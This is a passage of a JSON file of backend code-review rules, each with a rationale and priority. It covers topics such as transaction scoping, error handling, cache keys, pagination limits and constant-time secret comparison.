| Promise<T>`) is legitimate, since await normalizes both. The rule targets values known to be synchronous.","whyItMatters":"await on a synchronous value resolves it immediately and yields the same value; it does no real waiting. It misleads readers into thinking runJob is asynchronous and adds an unnecessary microtask.","priority":"p2","scope":"universal"},{"title":"Don't place code after a process-terminating call","rule":"Statements after process.exit() (or any process-terminating call) are unreachable dead code and should be removed.","apiRule":"Statements after process.exit() (or any process-terminating call) are unreachable dead code and should be removed. process.exit() terminates the process immediately and never returns, so the return statement after it can never run. It is dead code that misleads readers into thinking a value is produced. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. The same applies after throw, an infinite loop, or any call typed as `never`. Linters like no-unreachable / eslint catch most cases.","whyItMatters":"process.exit() terminates the process immediately and never returns, so the return statement after it can never run. It is dead code that misleads readers into thinking a value is produced.","priority":"p1","scope":"universal"},{"title":"Move business logic out of controllers into services","rule":"Controllers should orchestrate requests, not compute domain decisions. Push fetch-plus-condition logic into a service method.","apiRule":"Controllers should orchestrate requests, not compute domain decisions. Push fetch-plus-condition logic into a service method. The controller fetches multiple sources and then derives the `canRequestRefund` domain decision inline. This couples HTTP routing to business rules, makes the rule hard to unit test without spinning up the controller, and prevents reuse by other callers. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any layered backend (NestJS, Express controllers, route handlers). A controller that does more than parse input, call one service, and shape the response is usually hiding business logic that belongs in a service. Promise.all-style parallel fetching is fine — just do it inside the service. Exceptions: Trivial pass-through transformations (e.g. mapping a service DTO to a response shape) can stay in the controller. The rule targets domain decisions and multi-source orchestration, not simple formatting.","whyItMatters":"The controller fetches multiple sources and then derives the `canRequestRefund` domain decision inline. This couples HTTP routing to business rules, makes the rule hard to unit test without spinning up the controller, and prevents reuse by other callers.","priority":"p1","scope":"universal"},{"title":"Compute 'now'/'today' at execution time, not at module load","rule":"Don't capture time-sensitive values like the current date at import/module-load time. Compute them inside the function that runs the work so they reflect the actual run moment.","apiRule":"Don't capture time-sensitive values like the current date at import/module-load time. Compute them inside the function that runs the work so they reflect the actual run moment. The date is frozen at import time. For a scheduled or long-lived process the captured value can be stale when the job actually executes — e.g. the job starts at 23:59:59 and the date is off by a day. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Same principle applies to any computed-at-import constant that depends on mutable external state (current time, env that may change, random seeds). Keep module top-level free of stateful side effects.","whyItMatters":"The date is frozen at import time. For a scheduled or long-lived process the captured value can be stale when the job actually executes — e.g. the job starts at 23:59:59 and the date is off by a day.","priority":"p1","scope":"universal"},{"title":"Keep database transactions tightly scoped — no slow work inside","rule":"Scope DB transactions around the atomic writes only. Don't hold a transaction open across external HTTP calls, long loops, or other slow work — it ties up locks and connections and invites timeouts.","apiRule":"Scope DB transactions around the atomic writes only. Don't hold a transaction open across external HTTP calls, long loops, or other slow work — it ties up locks and connections and invites timeouts. Wrapping the entire loop — including remote fetches — in one transaction holds a DB connection and locks for as long as all the I/O takes, throttling other writers and risking transaction timeouts. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Per-item transactions also give you per-item failure isolation: one item failing doesn't roll back the whole batch. If multiple items truly must commit atomically together, that's a different requirement — but then keep the slow fetches out of the transaction body. Exceptions: Acceptable for very small, fast batches where the whole operation completes in milliseconds and atomicity across all items is required.","whyItMatters":"Wrapping the entire loop — including remote fetches — in one transaction holds a DB connection and locks for as long as all the I/O takes, throttling other writers and risking transaction timeouts.","priority":"p1","scope":"universal"},{"title":"Don't silently default missing inputs to neutral values in calculations","rule":"When a required value for a financial or numeric calculation is missing, fail loudly or skip — never silently substitute a plausible-looking neutral default (e.g. exchange rate 1) that produces wrong results.","apiRule":"When a required value for a financial or numeric calculation is missing, fail loudly or skip — never silently substitute a plausible-looking neutral default (e.g. exchange rate 1) that produces wrong results. If the exchange rate is missing, multiplying by 1 yields a number that looks valid but is wrong. The error is invisible and pollutes every aggregate built on top of it. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Applies to any value whose absence changes the math: tax rates, conversion factors, quantities, prices. Ask 'what produces a missing value here?' and handle that path deliberately. Exceptions: A neutral default is fine when the value is genuinely optional and its absence semantically means the identity element (e.g. an optional discount that defaults to 0, or same-currency conversion that is legitimately 1).","whyItMatters":"If the exchange rate is missing, multiplying by 1 yields a number that looks valid but is wrong. The error is invisible and pollutes every aggregate built on top of it.","priority":"p0","scope":"universal"},{"title":"Update the response DTO when adding new response fields","rule":"When an endpoint returns new fields, declare them on its response DTO/schema so serialization and API docs stay correct.","apiRule":"When an endpoint returns new fields, declare them on its response DTO/schema so serialization and API docs stay correct. The handler produces a field the DTO does not declare, so a class-serializer/`@ApiOkResponse` pipeline strips it and the OpenAPI docs advertise a wrong shape. Clients never see the new data. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Treat the response DTO as the single source of truth for the contract; updating handler logic and the DTO should be one atomic change.","whyItMatters":"The handler produces a field the DTO does not declare, so a class-serializer/`@ApiOkResponse` pipeline strips it and the OpenAPI docs advertise a wrong shape. Clients never see the new data.","priority":"p1","scope":"universal"},{"title":"Extract logic duplicated across services into a shared helper","rule":"When two or more services contain near-identical computation, extract it into one shared function instead of keeping divergent copies.","apiRule":"When two or more services contain near-identical computation, extract it into one shared function instead of keeping divergent copies. The same computation is implemented twice in two services. The copies are already 'somewhat different' and will keep diverging, so a fix in one place silently fails to reach the other. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Only consolidate when the two copies truly share intent. If the apparent duplication is coincidental and the rules will legitimately diverge, keeping them separate is better than a forced abstraction. Exceptions: Skip extraction for trivial one-liners or when sharing would couple two modules that should stay independent. Balance against avoid-premature-abstraction-over-small-repetition: extract only when the shared computation is non-trivial and identical across 2+ services; otherwise leave it inline. Balance against create-dedicated-transformation-methods-for-distinct-contexts: consolidate only when the logic is genuinely one concept; do not merge transforms that serve unrelated contexts.","whyItMatters":"The same computation is implemented twice in two services. The copies are already 'somewhat different' and will keep diverging, so a fix in one place silently fails to reach the other.","priority":"p1","scope":"universal"},{"title":"Only error-log unexpected failures, not expected HTTP/validation errors","rule":"In a controller catch, skip error-level logging for thrown HttpExceptions (expected client errors) and only log genuine unexpected failures, then re-throw.","apiRule":"In a controller catch, skip error-level logging for thrown HttpExceptions (expected client errors) and only log genuine unexpected failures, then re-throw. Expected client errors (e.g. validation HttpExceptions) get logged twice — once by the service, once here as error — flooding error logs with non-actionable noise and masking real failures. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If you do want an audit trail of client errors, log them at a lower level (debug/info) rather than error, so error dashboards stay clean.","whyItMatters":"Expected client errors (e.g. validation HttpExceptions) get logged twice — once by the service, once here as error — flooding error logs with non-actionable noise and masking real failures.","priority":"p1","scope":"universal"},{"title":"Derive the next sequence value from MAX(col)+1, not COUNT(*)","rule":"Compute the next value for an ordering/sequence column with MAX(col)+1 rather than COUNT, since deletions break the COUNT-to-position mapping.","apiRule":"Compute the next value for an ordering/sequence column with MAX(col)+1 rather than COUNT, since deletions break the COUNT-to-position mapping. If a row is deleted, the row count no longer equals the highest existing order. The next inserted item reuses an order value an existing row already has, producing duplicates. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"If a row is deleted, the row count no longer equals the highest existing order. The next inserted item reuses an order value an existing row already has, producing duplicates.","priority":"p1","scope":"universal"},{"title":"Make check-then-create atomic with a transaction and row lock","rule":"Wrap look-up-then-insert-if-absent logic in a single transaction with a pessimistic row lock to avoid concurrent duplicate-creation races.","apiRule":"Wrap look-up-then-insert-if-absent logic in a single transaction with a pessimistic row lock to avoid concurrent duplicate-creation races. Two concurrent requests both read item === null, then both insert. The second insert collides with the unique constraint and fails, surfacing as a spurious error to the user. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Alternatively use an idempotent upsert (INSERT ... ON CONFLICT DO NOTHING / UPDATE) where the database guarantees atomicity; the key point is the check and create must not be two separate non-atomic round-trips.","whyItMatters":"Two concurrent requests both read item === null, then both insert. The second insert collides with the unique constraint and fails, surfacing as a spurious error to the user.","priority":"p0","scope":"universal"},{"title":"Cap pagination page size with a sane maximum","rule":"Validate the pagination limit/take parameter with a reasonable maximum instead of allowing arbitrarily large page sizes.","apiRule":"Validate the pagination limit/take parameter with a reasonable maximum instead of allowing arbitrarily large page sizes. A maximum of 1000 lets a single request fetch an enormous page. Large page sizes strain the database and serialization, and can be used to hammer the endpoint. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Internal/admin export endpoints may justify higher limits, but those should be explicit and ideally streamed rather than served as one large page.","whyItMatters":"A maximum of 1000 lets a single request fetch an enormous page. Large page sizes strain the database and serialization, and can be used to hammer the endpoint.","priority":"p2","scope":"universal"},{"title":"Don't re-export a symbol from a module that only consumes it","rule":"Avoid pass-through re-exports: a consuming module shouldn't re-export another module's symbol, which creates a misleading import path and hides the real owner.","apiRule":"Avoid pass-through re-exports: a consuming module shouldn't re-export another module's symbol, which creates a misleading import path and hides the real owner. Re-exporting userCacheKey from the auth guard gives the symbol a second, unrelated import path. It obscures the true owning module, encourages others to import from the wrong place, and increases the risk of circular dependencies and confusing refactors. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Legitimate re-exports belong in deliberate barrel/index modules whose purpose is to aggregate a public API, not in a feature module that happens to consume the symbol. Exceptions: A dedicated barrel/index file or a module intentionally curating a public surface may re-export symbols from submodules.","whyItMatters":"Re-exporting userCacheKey from the auth guard gives the symbol a second, unrelated import path. It obscures the true owning module, encourages others to import from the wrong place, and increases the risk of circular dependencies and confusing refactors.","priority":"p2","scope":"universal"},{"title":"Namespace cache keys with a consistent, type-describing prefix","rule":"Prefix cache keys with a consistent namespace (e.g. session:, user:) to avoid collisions, make keys self-describing, and enable targeted invalidation.","apiRule":"Prefix cache keys with a consistent namespace (e.g. session:, user:) to avoid collisions, make keys self-describing, and enable targeted invalidation. Without a type prefix the key is ambiguous: you cannot tell what kind of value it stores, two unrelated features can collide on the same identifier shape, and you cannot scan or bulk-invalidate one category of keys. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Centralize key builders (e.g. a userCacheKey(id) helper) so the prefix is defined once and reused, instead of templating the string inline at every call site.","whyItMatters":"Without a type prefix the key is ambiguous: you cannot tell what kind of value it stores, two unrelated features can collide on the same identifier shape, and you cannot scan or bulk-invalidate one category of keys.","priority":"p2","scope":"universal"},{"title":"Type cached ORM entities as plain objects, not live class instances","rule":"A value read back from a JSON cache is a deserialized plain object, not an ORM/class instance; type it accordingly so callers don't depend on lost instance behavior.","apiRule":"A value read back from a JSON cache is a deserialized plain object, not an ORM/class instance; type it accordingly so callers don't depend on lost instance behavior. The function advertises Promise<User>, but a JSON cache hit returns a deserialized plain object with no prototype, methods, getters, or lazy relations. Callers that invoke entity methods will break only on cache hits, producing intermittent, hard-to-trace bugs. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any serialize/deserialize boundary (Redis, HTTP, structuredClone, message queues), not just ORM entities. If callers truly need instance behavior, rehydrate via the ORM's create/merge before use.","whyItMatters":"The function advertises Promise<User>, but a JSON cache hit returns a deserialized plain object with no prototype, methods, getters, or lazy relations. Callers that invoke entity methods will break only on cache hits, producing intermittent, hard-to-trace bugs.","priority":"p1","scope":"universal"},{"title":"Justify or complete an enum/whitelist that covers an open domain","rule":"When enumerating a subset of an open-ended domain, either cover the realistic set or document why only those values are allowed.","apiRule":"When enumerating a subset of an open-ended domain, either cover the realistic set or document why only those values are allowed. An arbitrary subset of a larger domain will fail for the first legitimate value left out, and reviewers cannot tell whether the omission was intentional. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"An arbitrary subset of a larger domain will fail for the first legitimate value left out, and reviewers cannot tell whether the omission was intentional.","priority":"p2","scope":"universal"},{"title":"Don't add fallbacks for values that are guaranteed present","rule":"Avoid `value ?? alternative` when the schema/migration guarantees the value exists; the fallback misrepresents the data contract.","apiRule":"Avoid `value ?? alternative` when the schema/migration guarantees the value exists; the fallback misrepresents the data contract. The `?? tx.price` fallback suggests priceInBase can be missing, contradicting the migration that backfilled it, and risks using the wrong (unconverted) value. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the fallback during a transition window if old rows genuinely lack the value and the backfill is not yet complete; remove it once the migration is verified. Balance against guard-array-before-iteration-methods: drop the [] fallback only when presence is guaranteed by your own validated boundary, not by an unverified external schema.","whyItMatters":"The `?? tx.price` fallback suggests priceInBase can be missing, contradicting the migration that backfilled it, and risks using the wrong (unconverted) value.","priority":"p2","scope":"universal"},{"title":"Avoid redundant type assertions when inference already gives the right type","rule":"Remove `as Type` casts when the expression already has that type; the cast is noise and can mask real type errors.","apiRule":"Remove `as Type` casts when the expression already has that type; the cast is noise and can mask real type errors. Both operands of ?? are already Currency, so the assertion adds nothing and would silently suppress a real mismatch if the types later diverge. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep an assertion when you genuinely know more than the compiler (e.g., narrowing an `unknown` from an external boundary) — but then prefer a validated parse over a bare cast.","whyItMatters":"Both operands of ?? are already Currency, so the assertion adds nothing and would silently suppress a real mismatch if the types later diverge.","priority":"p2","scope":"universal"},{"title":"Type a shared helper to the common DTO, not one concrete subtype","rule":"If a helper is called with multiple DTOs that share fields, declare the parameter as the shared base/fields type rather than one specific variant.","apiRule":"If a helper is called with multiple DTOs that share fields, declare the parameter as the shared base/fields type rather than one specific variant. Typing to UpdateOrderDto when the helper only touches shared fields misrepresents the contract and forces a cast at the create call site. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Typing to UpdateOrderDto when the helper only touches shared fields misrepresents the contract and forces a cast at the create call site.","priority":"p2","scope":"universal"},{"title":"Keep ORM entity column defaults in sync with the migration","rule":"Mirror the column default declared in the migration on the ORM entity so the model and schema stay consistent.","apiRule":"Mirror the column default declared in the migration on the ORM entity so the model and schema stay consistent. The migration declares a default but the entity does not, so the ORM's view of the column differs from the actual schema. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The migration declares a default but the entity does not, so the ORM's view of the column differs from the actual schema.","priority":"p2","scope":"universal"},{"title":"Cover non-default values, failure paths, and state transitions in tests","rule":"Don't test only the happy path; add cases for non-default inputs, dependency failures, and field changes that trigger recomputation.","apiRule":"Don't test only the happy path; add cases for non-default inputs, dependency failures, and field changes that trigger recomputation. Only the trivial path (default currency, exchange rate 1, no dependency failure) is exercised, so conversion math and error handling are never verified. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Only the trivial path (default currency, exchange rate 1, no dependency failure) is exercised, so conversion math and error handling are never verified.","priority":"p1","scope":"universal"},{"title":"Make implicit unit/currency assumptions explicit in calculations","rule":"When combining monetary or unit-bearing values, don't silently assume they share the same unit; normalize or validate before combining.","apiRule":"When combining monetary or unit-bearing values, don't silently assume they share the same unit; normalize or validate before combining. Adding commission directly to a converted price assumes commission is already in the same currency. If a caller supplies commission in the instrument currency, the total is wrong with no error. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Even when you cannot normalize, document the assumed unit at the function boundary so callers know what to pass.","whyItMatters":"Adding commission directly to a converted price assumes commission is already in the same currency. If a caller supplies commission in the instrument currency, the total is wrong with no error.","priority":"p1","scope":"universal"},{"title":"Do not silently return a default value when a critical fetch fails","rule":"Don't swallow errors and return a neutral default for values that feed downstream calculations; propagate or make the fallback an explicit decision.","apiRule":"Don't swallow errors and return a neutral default for values that feed downstream calculations; propagate or make the fallback an explicit decision. Returning 1 on any failure means a network blip produces a transaction recorded at the wrong value, with no error surfaced to the user or caller. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A silent default is acceptable when the fallback is genuinely correct for the domain and the value is non-critical (e.g., a cached display hint), but document why. Balance against wrap-external-calls-error-handling: when the value feeds a downstream calculation, fail loudly rather than return a neutral default that corrupts results. Balance against cache-layer-must-degrade-gracefully: if the cached value is a critical calculation input, recompute or fail; do not substitute a default.","whyItMatters":"Returning 1 on any failure means a network blip produces a transaction recorded at the wrong value, with no error surfaced to the user or caller.","priority":"p0","scope":"universal"},{"title":"Reset single-flight/processing flags in a finally block","rule":"Clear locks and in-progress flags in finally so a throwing catch handler cannot leave them stuck set.","apiRule":"Clear locks and in-progress flags in finally so a throwing catch handler cannot leave them stuck set. If the catch body throws, the inline reset after the try/catch is skipped and the flag stays true, so the single-flight loop never resumes and processing silently stops. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"If the catch body throws, the inline reset after the try/catch is skipped and the flag stays true, so the single-flight loop never resumes and processing silently stops.","priority":"p1","scope":"universal"},{"title":"Derive a canonical value one way across all code paths","rule":"Avoid building the same logical value with divergent logic in different paths; share one derivation.","apiRule":"Avoid building the same logical value with divergent logic in different paths; share one derivation. Two paths cover the same entity but compute the canonical URL differently, so each handoff overwrites the other with a slightly different value, confusing downstream consumers. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Two paths cover the same entity but compute the canonical URL differently, so each handoff overwrites the other with a slightly different value, confusing downstream consumers.","priority":"p2","scope":"universal"},{"title":"Sanitize every dynamic field that goes into XML/HTML, not just some","rule":"Apply the same escaping to all user-provided values written into markup; partial sanitization corrupts output.","apiRule":"Apply the same escaping to all user-provided values written into markup; partial sanitization corrupts output. Fields that skip the sanitizer let raw entities through; a title like 'Hello &nbsp; world' ends up double-escaped or malformed and renders as garbled text. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Constant, developer-controlled literals do not need sanitizing, but anything sourced from external data does.","whyItMatters":"Fields that skip the sanitizer let raw entities through; a title like 'Hello &nbsp; world' ends up double-escaped or malformed and renders as garbled text.","priority":"p0","scope":"universal"},{"title":"Chunk unbounded id lists instead of cramming them into one query string","rule":"Split large id batches into bounded requests (or POST a body) to avoid 414 URI Too Long.","apiRule":"Split large id batches into bounded requests (or POST a body) to avoid 414 URI Too Long. A large batch produces a very long URL that many proxies and servers reject with 414, causing the lookup to fail and downstream data to silently go missing. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A large batch produces a very long URL that many proxies and servers reject with 414, causing the lookup to fail and downstream data to silently go missing.","priority":"p2","scope":"universal"},{"title":"Build URLs robustly against trailing slashes in configurable base URLs","rule":"Use the URL constructor or strip trailing slashes instead of string-concatenating a base URL with a path.","apiRule":"Use the URL constructor or strip trailing slashes instead of string-concatenating a base URL with a path. Operators often configure base URLs with a trailing slash, producing a double slash that strict proxies reject with 404, silently degrading the feature. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Operators often configure base URLs with a trailing slash, producing a double slash that strict proxies reject with 404, silently degrading the feature.","priority":"p2","scope":"universal"},{"title":"Guard JSON.parse when deserializing batches so one bad record cannot break all","rule":"Wrap per-record JSON.parse in try/catch and quarantine the corrupt entry instead of letting it abort the whole batch.","apiRule":"Wrap per-record JSON.parse in try/catch and quarantine the corrupt entry instead of letting it abort the whole batch. A single malformed stored value makes JSON.parse throw, which fails the whole load and freezes every future regeneration until the bad record is removed by hand. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A single malformed stored value makes JSON.parse throw, which fails the whole load and freezes every future regeneration until the bad record is removed by hand.","priority":"p1","scope":"universal"},{"title":"Debounce/throttle external API calls triggered by frequent events","rule":"Coalesce per-event external submissions into at most one call per interval to avoid rate-limiting.","apiRule":"Coalesce per-event external submissions into at most one call per interval to avoid rate-limiting. Calling the third-party API on every event means dozens or hundreds of submissions per hour, which providers treat as spam and stop processing. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Alternatively submit only on full rebuilds rather than on incremental deltas.","whyItMatters":"Calling the third-party API on every event means dozens or hundreds of submissions per hour, which providers treat as spam and stop processing.","priority":"p2","scope":"universal"},{"title":"Enforce time-window filtering explicitly, not via storage TTL","rule":"Filter output by the relevant timestamp instead of trusting a TTL that other writes can refresh.","apiRule":"Filter output by the relevant timestamp instead of trusting a TTL that other writes can refresh. A later update refreshes the TTL, so an item published outside the window stays alive and leaks into the output when there are fewer than MAX_ENTRIES recent items. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A later update refreshes the TTL, so an item published outside the window stays alive and leaks into the output when there are fewer than MAX_ENTRIES recent items.","priority":"p2","scope":"universal"},{"title":"Do not paper over a missing required field with an empty-string default","rule":"If an output field is mandatory, validate it at the input boundary or skip the record rather than emitting an empty value.","apiRule":"If an output field is mandatory, validate it at the input boundary or skip the record rather than emitting an empty value. url is optional on the payload, so a missing url silently becomes an empty loc, producing structurally invalid output that can poison the whole document. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"url is optional on the payload, so a missing url silently becomes an empty loc, producing structurally invalid output that can poison the whole document.","priority":"p1","scope":"universal"},{"title":"Do not block or risk crashing startup inside init lifecycle hooks","rule":"Run heavy/fallible startup work fire-and-forget with its own catch, so it does not delay listen() or crash the process.","apiRule":"Run heavy/fallible startup work fire-and-forget with its own catch, so it does not delay listen() or crash the process. The framework awaits onModuleInit before the HTTP server listens, so a long or throwing populate blocks readiness probes and can crash the pod into a restart loop. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Work that is a genuine precondition for serving traffic (e.g. running DB migrations) should stay awaited, but then it must have explicit error handling and bounded duration.","whyItMatters":"The framework awaits onModuleInit before the HTTP server listens, so a long or throwing populate blocks readiness probes and can crash the pod into a restart loop.","priority":"p1","scope":"universal"},{"title":"Compare secrets in constant time","rule":"Use timing-safe comparison for secrets and tokens, not === / !==.","apiRule":"Use timing-safe comparison for secrets and tokens, not === / !==. String inequality short-circuits on the first differing byte, so response timing reveals how many leading bytes matched, enabling byte-by-byte recovery. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Always length-check before timingSafeEqual since it throws on buffers of differing length. Exceptions: Non-secret value comparisons (regular business logic) do not need constant-time comparison.","whyItMatters":"String inequality short-circuits on the first differing byte, so response timing reveals how many leading bytes matched, enabling byte-by-byte recovery.","priority":"p1","scope":"universal"},{"title":"Avoid spreading the accumulator inside reduce","rule":"Build maps/objects with a Map and a for-loop (or a single mutated object) instead of spreading the accumulator each iteration in reduce, which is O(n^2).","apiRule":"Build maps/objects with a Map and a for-loop (or a single mutated object) instead of spreading the accumulator each iteration in reduce, which is O(n^2). Spreading `...acc` on every iteration re-copies all previously added keys, so building the map costs O(n^2) time and allocates a fresh object per element. On large article lists this becomes a real hotspot for no readability benefit. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: For tiny, fixed-size collections the difference is irrelevant; readability concerns can dominate there. Spread-in-reduce is also fine when you specifically need a new immutable object per step.","whyItMatters":"Spreading `...acc` on every iteration re-copies all previously added keys, so building the map costs O(n^2) time and allocates a fresh object per element. On large article lists this becomes a real hotspot for no readability benefit.","priority":"p1","scope":"universal"},{"title":"Order type-guard null checks object-first, then property","rule":"In type predicates and boolean guards, check the object is non-null before reaching into its properties, instead of leading with an optional-chained property check.","apiRule":"In type predicates and boolean guards, check the object is non-null before reaching into its properties, instead of leading with an optional-chained property check. Leading with `item?.url !== null` is confusing and out of order: optional chaining already short-circuits when `item` is null/undefined, so the later `item !== null` is partly redundant, and the predicate reads as if it accesses `.url` before establishing `item` exists. The intent (filter out null entries AND entries with a null url) is obscured. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Applies equally to plain boolean conditions, not just `is` type predicates.","whyItMatters":"Leading with `item?.url !== null` is confusing and out of order: optional chaining already short-circuits when `item` is null/undefined, so the later `item !== null` is partly redundant, and the predicate reads as if it accesses `.url` before establishing `item` exists. The intent (filter out null entries AND entries with a null url) is obscured.","priority":"p2","scope":"universal"},{"title":"Don't port unused parameters and fields into a refactor","rule":"Before reimplementing a service or function, search for actual usages of each parameter/field and drop the ones nothing ever sets or reads instead of faithfully copying dead code forward.","apiRule":"Before reimplementing a service or function, search for actual usages of each parameter/field and drop the ones nothing ever sets or reads instead of faithfully copying dead code forward. The refactor preserves `excludeIds` and `paid` even though a usage search shows no caller ever set them and the old code never branched on `paid`. This drags dead surface area into the new abstraction, confuses future readers, and invites bugs from half-wired options. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep an unused parameter only when it is part of a stable public contract you cannot change yet, or a documented future extension point with a tracking reference.","whyItMatters":"The refactor preserves `excludeIds` and `paid` even though a usage search shows no caller ever set them and the old code never branched on `paid`. This drags dead surface area into the new abstraction, confuses future readers, and invites bugs from half-wired options.","priority":"p1","scope":"universal"},{"title":"Inject a data provider behind an interface instead of branching on a flag","rule":"Don't nest if/else over a flag to choose how to fetch data — define a common provider interface, inject the chosen implementation, and keep route logic decoupled from the data source.","apiRule":"Don't nest if/else over a flag to choose how to fetch data — define a common provider interface, inject the chosen implementation, and keep route logic decoupled from the data source. The handler hardcodes knowledge of every data source and grows another branch each time a source is added. Logic and data-access concerns are tangled together. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Selecting the implementation in one factory keeps the flag check in a single place instead of duplicated across every call site. Exceptions: Balance against avoid-premature-abstraction-over-small-repetition: define a provider interface when fetch paths are non-trivial or will grow; a flag branch invites scattered drift.","whyItMatters":"The handler hardcodes knowledge of every data source and grows another branch each time a source is added. Logic and data-access concerns are tangled together.","priority":"p1","scope":"universal"},{"title":"Reuse a singleton service instead of instantiating per call","rule":"Don't instantiate stateful services (clients, connections) inside loops or repeated calls — reuse a single shared/singleton instance to avoid memory churn and leaks.","apiRule":"Don't instantiate stateful services (clients, connections) inside loops or repeated calls — reuse a single shared/singleton instance to avoid memory churn and leaks. A new stateful client is created on every iteration. Each holds connections/buffers and relies on GC to clean up; under load this churns memory and can leak connections. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When each call genuinely needs isolated state (e.g. per-request transaction scope), a fresh instance is correct — but still pool/dispose the underlying connection. Balance against avoid-mutable-shared-state-in-singletons: reuse the singleton only when it is stateless; never park per-request data on it.","whyItMatters":"A new stateful client is created on every iteration. Each holds connections/buffers and relies on GC to clean up; under load this churns memory and can leak connections.","priority":"p1","scope":"universal"},{"title":"Normalize caught errors before string interpolation in logs","rule":"Interpolating a raw error object yields `[object Object]` — extract `e.message` (guarding with `instanceof Error`) before logging.","apiRule":"Interpolating a raw error object yields `[object Object]` — extract `e.message` (guarding with `instanceof Error`) before logging. Template-literal interpolation calls Object.prototype.toString on a non-string error, producing '[object Object]' and discarding the message and stack trace you actually need for debugging. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. In catch/`.catch` callbacks the value is typed `unknown` (or `any`) and may not be an Error at all, so the guard is required, not optional.","whyItMatters":"Template-literal interpolation calls Object.prototype.toString on a non-string error, producing '[object Object]' and discarding the message and stack trace you actually need for debugging.","priority":"p1","scope":"universal"},{"title":"Read environment variables through a central config module","rule":"Don't sprinkle `process.env.X` reads through the codebase — funnel all env access through one typed config object so parsing, defaults, and validation live in one place.","apiRule":"Don't sprinkle `process.env.X` reads through the codebase — funnel all env access through one typed config object so parsing, defaults, and validation live in one place. Raw process.env reads are scattered and inconsistent: string comparisons, ad-hoc parsing, no single source of defaults or validation. One feature ends up half in AppConfig and half in raw env. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Bootstrap code that must read an env var before the config module itself is initialized (e.g. choosing which config file to load).","whyItMatters":"Raw process.env reads are scattered and inconsistent: string comparisons, ad-hoc parsing, no single source of defaults or validation. One feature ends up half in AppConfig and half in raw env.","priority":"p1","scope":"universal"},{"title":"Validate each batched/pipeline result instead of blanket-casting","rule":"Pipeline/batch results can each fail independently — check each entry's shape, log failures with context, and return a safe fallback instead of `as unknown as` over the whole array.","apiRule":"Pipeline/batch results can each fail independently — check each entry's shape, log failures with context, and return a safe fallback instead of `as unknown as` over the whole array. execAsPipeline can return an Error in any slot (a single command failing). The blanket `as unknown as` cast hides those errors, and downstream code will crash or produce garbage when it treats an Error as the expected array. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any batch API where partial failure is possible: Redis pipelines/multi, Promise.allSettled, bulk DB writes, batched HTTP calls.","whyItMatters":"execAsPipeline can return an Error in any slot (a single command failing). The blanket `as unknown as` cast hides those errors, and downstream code will crash or produce garbage when it treats an Error as the expected array.","priority":"p1","scope":"universal"},{"title":"Compute response fields instead of shipping hardcoded placeholders","rule":"Don't return a hardcoded placeholder (e.g. count: 0) for a response field — derive it from the data you already hold, or it silently lies to callers.","apiRule":"Don't return a 